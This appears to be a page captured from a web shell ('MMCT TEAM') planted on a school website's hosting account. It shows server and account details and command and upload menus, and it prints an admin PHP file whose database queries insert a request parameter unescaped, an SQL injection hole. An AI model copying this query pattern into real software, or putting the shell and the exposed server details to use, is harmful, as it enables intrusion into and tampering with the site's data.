MMCT TEAM
Server IP : 2a02:4780:11:1359:0:1d43:a566:2  /  Your IP : 216.73.216.161
Web Server : LiteSpeed
System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u490972518 ( 490972518)
PHP Version : 5.6.40
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u490972518/domains/ppschool.org.in/public_html/admin/../../public_html/sale/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u490972518/domains/ppschool.org.in/public_html/admin/../../public_html/sale/balance_show.php
<?php
include('php-includes/connect.php');
include('php-includes/check-login.php');
$userid = $_SESSION['userid'];
//echo $userid;
//$capping =150000;
$flag=$_REQUEST['flag'];
$sel12="select * from balance  where username='$flag'";
	$res12=mysqli_query($conn,$sel12);
	
	$sel121="select * from center_add  where username='$flag'";
	$res121=mysqli_query($conn,$sel121);
	$row121=mysqli_fetch_array($res121,MYSQLI_BOTH);
		
?>



<?PHP include("link/header.php")?>
<!--main content start-->
<style>label{color:black;}</style>
<script>
$(document).ready(function(){
	
	$("#myform").submit(function(e){
		
		e.preventDefault();	
		$("#btn").prop("disabled",true);
		$.ajax({
					url:"code/classcode.php?flag=103",
					type:"POST",
					data:new FormData(this),
					contentType:false,
					processData:false,
					success:function(res){
						alert(res);
						
						window.location.href='balance_add.php';
						$("#modal").load("code/classcode.php?flag=104");
						
					},
					error:function(){
						alert("error");
					}
				
				});
	});
	
	
});
$(document).ready(function(){
				
				$("#modal").load("code/classcode.php?flag=104");
			});
	function deleterow(id)
			{
				//alert(id);
				var a=confirm("Are you Sure");
				if(a==true)
				{
				$.ajax({
					
					url:"code/classcode.php?flag=105",
					type:"POST",
					data:{rowid:id},
					
					success:function(res){
						alert(res);
						window.location.href='balance_add.php';
						
					},
					error:function(){
						alert("error");
					}
					
					
					
					
				});
				}
				
			}
	$(document).ready(function(){
		$("#parrent").keyup(function(){
			var dis2 =$(this).val();
		$.ajax({
			url:"code/classcode.php?flag=44",
			type:"POST",
			data: {dis1:dis2},
			success:function(res){
				//alert(res);
				$("#parrent1").val(res);
			},
			error:function(){
				alert("error");
			}
		});
		});
	});
	$(document).ready(function(){
		$("#side").change(function(){
			var side =$(this).val();
			var check=$('#parrent').val();
		//	alert(side);
		//	alert(check);
		$.ajax({
			url:"code/student_detailscode.php?flag=69",
			type:"POST",
			data: {side:side,check:check},
			success:function(res){
				alert(res);
				//$("#rate").val(res);
			},
			error:function(){
				alert("error");
			}
		});
		});
	});
</script>


<section id="main-content" style="background:url(images/body_bg.jpg) repeat;">
	<section class="wrapper">
	<div id="page-wrapper" >
            <div class="container-fluid">
                <div class="row">
                    <div class="col-lg-12">
                      <h2 style='font-weight:bold'> Balance Show</h2>
                    </div>
                    <!-- /.col-lg-12 -->
                </div>
                <!-- /.row -->
                <div class="row" >
				
                	<div class="col-lg-8" >
					<br/>
                    	<script>
$(document).ready(function(){
    $('#example').DataTable({
        dom: 'Bfrtip',
        buttons: ['print','pdf']
    });
	
});

</script>
	<div class="table-responsive">
	<table id="example" class="display nowrap" cellspacing="0" width="100%" border="1px">
	<thead>
		
		<tr>
	<th>Sr No.</th><th>Center Code</th><th>Center Name</th><th>User Name</th><th> Add Balance</th><th> Date</th><th>Action</th>
	</tr>
        </thead>
<tfoot>
           <tr>
	<th>Sr No.</th><th>Center Code</th><th>Center Name</th><th>User Name</th><th> Add Balance</th><th>Date</th><th>Action</th>
	</tr>
        </tfoot>
	<tbody>
	<?php 
	$s=1;
	while($row12=mysqli_fetch_array($res12,MYSQLI_BOTH))
	{

	?>
	<tr>
	
	<td><?php echo $s++;?></td><td><?php echo $row121['center_code'];?></td><td><textarea><?php echo $row12['center_name'];?></textarea></td><td><?php echo $row12['username'];?></td><td><?php echo $row12['balance'];?></td><td><?php echo $row12['date'];?></td><td><a href="javascript:;" onclick="deleterow(<?php echo $row12['id'];?>)"><span class="glyphicon glyphicon-trash"></span></a></td>
	<?php
	}
	
	?>
	</tr>
	</tbody>
	</table>
                    </div>
                </div><!--/.row-->
            </div>
            <!-- /.container-fluid -->
			<div class="row">
                    <div class="col-lg-12">
                       
										<?php
	
 
	?>
	
<link href="vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<link href="jq/jquery.dataTables.min.css" type="text/css" rel="stylesheet"/>
<link href="jq/buttons.dataTables.min.css" type="text/css" rel="stylesheet"/>


<script src="jq/jquery.dataTables.min.js"></script>
<script src="jq/dataTables.buttons.min.js"></script>
<script src="jq/buttons.flash.min.js"></script>
<script src="jq/jszip.min.js"></script>
<script src="jq/pdfmake.min.js"></script>
<script src="jq/vfs_fonts.js"></script>
<script src="jq/buttons.html5.min.js"></script>
<script src="jq/buttons.print.min.js"></script>
	


	
	
                    </div>
                    <!-- /.col-lg-12 -->

                </div>
        </div>
		
        <!-- /#page-wrapper -->
<br/>
<br/>

    </div>

	
</section>

<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-form-validator/2.3.26/jquery.form-validator.min.js"></script>
<script>
  $.validate({
    modules : 'html5',
	modules : 'file'
  });
</script>
 <!-- footer -->
 
		  <?php include('link/footer.php');
		  
		  

		  ?>
  <!-- / footer -->
</section>
<!--main content end-->
</section>
<script src="js/bootstrap.js"></script>
<script src="js/jquery.dcjqaccordion.2.7.js"></script>
<script src="js/scripts.js"></script>
<script src="js/jquery.slimscroll.js"></script>
<script src="js/jquery.nicescroll.js"></script>
<!--[if lte IE 8]><script language="javascript" type="text/javascript" src="js/flot-chart/excanvas.min.js"></script><![endif]-->
<script src="js/jquery.scrollTo.js"></script>
<!-- morris JavaScript -->	


	<!-- //calendar -->
</body>
</html>

MMCT - 2023